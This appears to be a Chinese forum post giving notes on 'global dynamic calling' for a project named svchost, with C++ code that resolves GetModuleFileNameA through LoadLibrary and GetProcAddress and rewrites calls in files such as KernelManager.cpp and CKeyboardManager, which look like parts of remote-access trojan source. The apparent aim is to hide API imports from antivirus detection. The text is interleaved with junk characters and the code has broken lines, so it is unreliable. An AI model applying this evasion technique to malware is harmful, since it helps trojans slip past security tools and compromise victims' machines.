
- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
& K* U7 S( F/ `+ r: }svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
. M/ Q8 N0 z9 }+ r% Y- u! T----------------------------------------
9 s* w: z& q% C' |DTDY.h:/ a- `3 V* ?" p/ U- \; b5 m
( Z6 W. S7 o- k4 k+ a9 v4 N/ Z! D3 q2 _
#if _MSC_VER>1000/ \7 C7 K8 n: D
#pragma once
9 C2 G8 g @7 \4 H" s& L#endif //_MSC_VER>1000( | ^" p2 w* X: I4 [/ J2 t
#include<windows.h>
- ^5 M' W- Q! o2 H/ ?6 M) K. }
5 w5 b! W* o6 e, itypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);) }( B% @6 V0 l0 @
class DTDY; v2 R( d4 v- J; e
{0 R& Z/ h5 A3 _: f$ X7 n
public:
8 ~5 K! {* f8 A2 p9 YDTDY();) N- J1 `0 y# b% L/ N3 |9 z2 m
virtual ~DTDY();
" V! B8 m) u$ V% A: M) dpublic:
7 m$ z2 y% ]4 Qstatic pGetModuleFileNameA MyGetModuleFileName;9 D9 \; { N; q
static BOOL FunInitiallization();5 z( }# r* Z) u% F& M% t
};
: G5 M* O0 @% V; r5 P0 f' R#endif4 d0 w/ g5 a; t: [. s# p8 y
----------------------------------------
1 k! ~# `: c9 c" K6 s" Y& Y& x0 K
4 ^! h" S4 I6 a6 zDTDY.cpp:
! R% j G& [8 h* R1 i; h
5 ^5 b) I# t/ \* c, `#include "DTDY.h"
, p6 O3 m1 g8 W; LpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 }8 r& B; a9 m3 }DTDY:TDY()8 Y1 L% `" f& Z( e5 W) b
{% v- y; c( r, M
}* u0 {% n% y5 D9 F# G
DTDY::~DTDY()% l7 ~+ e7 A$ [( T( Q5 `! o8 v
{
; P2 r9 I0 y5 _ r. e$ i% ^) u1 ]5 `; c}1 ~( M& F8 s( E$ a6 m: m4 H7 P# [
BOOL DTDY::FunInitiallization(). q2 i+ H3 H0 }+ q
{& [. G8 A& X4 E$ A9 h7 e1 j) |- \* j
HMODULE hModule=LoadLibrary("kernel32.dll");
- G/ |" M6 Y" t0 n: y: Z; M7 EMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
& w: D$ |6 M: b G) y0 u. lif(!MyGetModuleFileName=) return FALSE;
1 x/ P% _- l& Q' k8 D5 u3 B8 _0 G! {; R c5 e% C
return TRUE;
+ L, R4 h( ^1 v+ i) m* a}
?# z- t+ m# f' ~4 |& w# Y& L8 u9 N---------------------------------------- ?1 u! L! V( r" j
svchost.cpp:; W( B u" F3 J5 z- Q$ v- O, u6 A
% }. i6 _* X- ]
#include "DTDY.h" R2 F7 C+ c4 A# A6 b0 W
4 g* g: a- z( Z4 T% ]
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
3 v% D y. X* J, }{/ y) b. p* X, v# S
switch(ul_reason_for_call)
6 t7 x t% `6 ^5 @5 I{- X9 [: E6 z- m# S2 }
case DLL_PROCESS_ATTACH:5 l: a* b; \( I& o
if(!DTDY::FunInitiallization()) return FALSE;
M9 w g6 Z) }
. x+ `/ v/ h% _break;
+ j) E! @. f# ?0 T9 p& e}. C: R8 |/ X) ]$ ?' H
}
( r3 X- l) c" p$ n- P2 ?2 W6 U6 N8 q" n% b. E" r3 p
4 F( k4 F: b, i, Y- `
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
: L% d& t5 c3 p/ h5 D, n改写为) V+ z K: Z8 {6 H0 N( m+ S) @& }' X
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 z" R2 m; {; S3 a$ M
----------------------------------------; t( ?& ?2 F2 ~) ]7 m" n/ S" {
KernelManager.cpp: d+ J- J5 h* H# V3 O
6 r5 r5 L5 i6 c8 T2 E9 z" l' _- B#include "../DTDY.h"
% g5 n; L1 E- U0 j& yGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 E, p5 M- }) O/ X0 P/ L
改写为& t, ~- N8 t: C- k. T, }
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
$ ~+ d0 }3 y; x; M# ]- U---------------------------------------- |
|